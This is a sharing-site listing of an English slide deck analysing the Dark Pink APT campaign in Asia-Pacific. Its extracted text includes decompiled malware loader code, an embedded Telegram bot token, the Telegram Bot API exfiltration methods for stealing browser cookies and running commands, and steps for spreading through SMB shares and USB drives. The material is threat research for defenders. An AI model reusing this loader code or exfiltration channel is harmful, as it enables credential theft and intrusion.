揭開Dark Pink的面紗——對APAC隱蔽的APT威脅的深入分析.pdf

《揭開Dark Pink的面紗——對APAC隱蔽的APT威脅的深入分析.pdf》由會員分享，可在線閱讀，更多相關《揭開Dark Pink的面紗——對APAC隱蔽的APT威脅的深入分析.pdf（27頁珍藏版）》請在三個皮匠報告上搜索。

1、Unveiling Dark Pink:An In-Depth Analysis of APACs Covert APT ThreatOUTLINEDark Pinks latest campaignTelegram Exfiltration and C2 demoTeleScoutDark Pinks TTPsI GOT AN EMAIL!(Group-IB,2023)ISO FILEISO FILESigned winword.exe sideloads wwlib.dllMalicious wwlib.dll sets up persistenceExtracts XOR encrypt

2、ed payload from.doc lureDisplays.doc lureSets up scheduled taskSCHEDULED TASKMicrosoft Build Task saved in Temp folderName wct*.tmp relates to normal OneDrive activity public static void main()string stealer_module=init_br();string Telegram_Chat_ID=Encoding.Default.GetString(chat_id_numbers);var inp

3、utStream=new MemoryStream(main_payload);ZipArchive archive=new ZipArchive(inputStream,ZipArchiveMode.Read);ZipArchiveEntry archEntry=archive.Entries0;Stream entryStream=archEntry.Open()var tmpMem=new MemoryStream();entryStream.CopyTo(tmpMem);var xtmp=tmpMem.ToArray();var memory_payload=Assembly.Load

4、(xtmp);byte Telegram_BOT_API_token=Convert.FromBase64String(0vHS+db60vvU+t6IpY+WpaKzh4WRsLyc0IGcgo26opyMv4y+r7yHsKj9lo23+Q=);foreach(Type type in memory_payload.GetExportedTypes()try var c=Activator.CreateInstance(type);type.InvokeMember(KaidnfAei,BindingFlags.InvokeMethod,null,c,new object Telegram

5、_BOT_API_token,Telegram_Chat_ID,stealer_module);catch continue;BUILD TASK6860236203:AAFrlFzcLuyXU4HxKisFUhvhwKucyL4rDS0TELEGRAM BOT APIUsed to communicate with bots in Telegram chatsHTTP-based interfaceFormat:https:/api.telegram.org/bot$token/$method?$paramsImportant methods:sendMessage?chat_id=&tex

6、t=:sends message to specified chatsendDocument?chat_id=&caption=:sends document to specified chatgetUpdates:Retrieves latest messages seen by the bot in Telegram chatsKAMIKAKABOT.NET executableSeparate.NET stealer moduleExecutes cmd.exe through/getUpdatesSends result back using/sendMessageExfiltrate

7、s Edge,Firefox,and Chrome cookies using/sendDocumentImplements commands to update Telegram Bot Token,XML payloadKAMIKAKABOT DEMOTELESCOUTTool to extract Telegram messages seen by bots using Bot TokenAutomatically downloads images,videos,audioReconstructs individual chats and creates easily viewable

8、HTML filesDisplays sender,time and dateTELESCOUT DEMOSTOLEN CREDSPERSISTENCEPERSISTENCE 2DEFENSE EVASIONDISCOVERYLAT MOVEMENT1.SMB shares1.Enumerating SMB shares2.Copying KamiKakaBot loader to recently used folders on shares and hiding it3.Creating shortcuts mimicking actual recently used folders4.H

9、iding actual folders5.Shortcuts open folder and executes loader2.USB drives1.Registering WMI event for USB plug-in2.Copying KamiKakaBot loader to USB drive and hiding it3.INGRESS TOOLSTelePowerBotEXFILTRATIONCommon extensionsRecent FilesCompressed and exfiltrated using Telegram BotDARK PINKFirst des

10、cribed by Group-IB in January 2023Active since mid-2021Latest activity February 2024Targeting government,defense,NGOsSouth-East Asia:Malaysia,Indonesia,Brunei,Cambodia,Vietnam,Philippines,Europe:Belgium,BosniaNo conclusive evidence for attributionLANGUAGE CODES/getUpdates reveals details on recently sent messagesETCThank You CYBERTHREAT!AcknowledgementsAlbert Priego BravoGroup-IB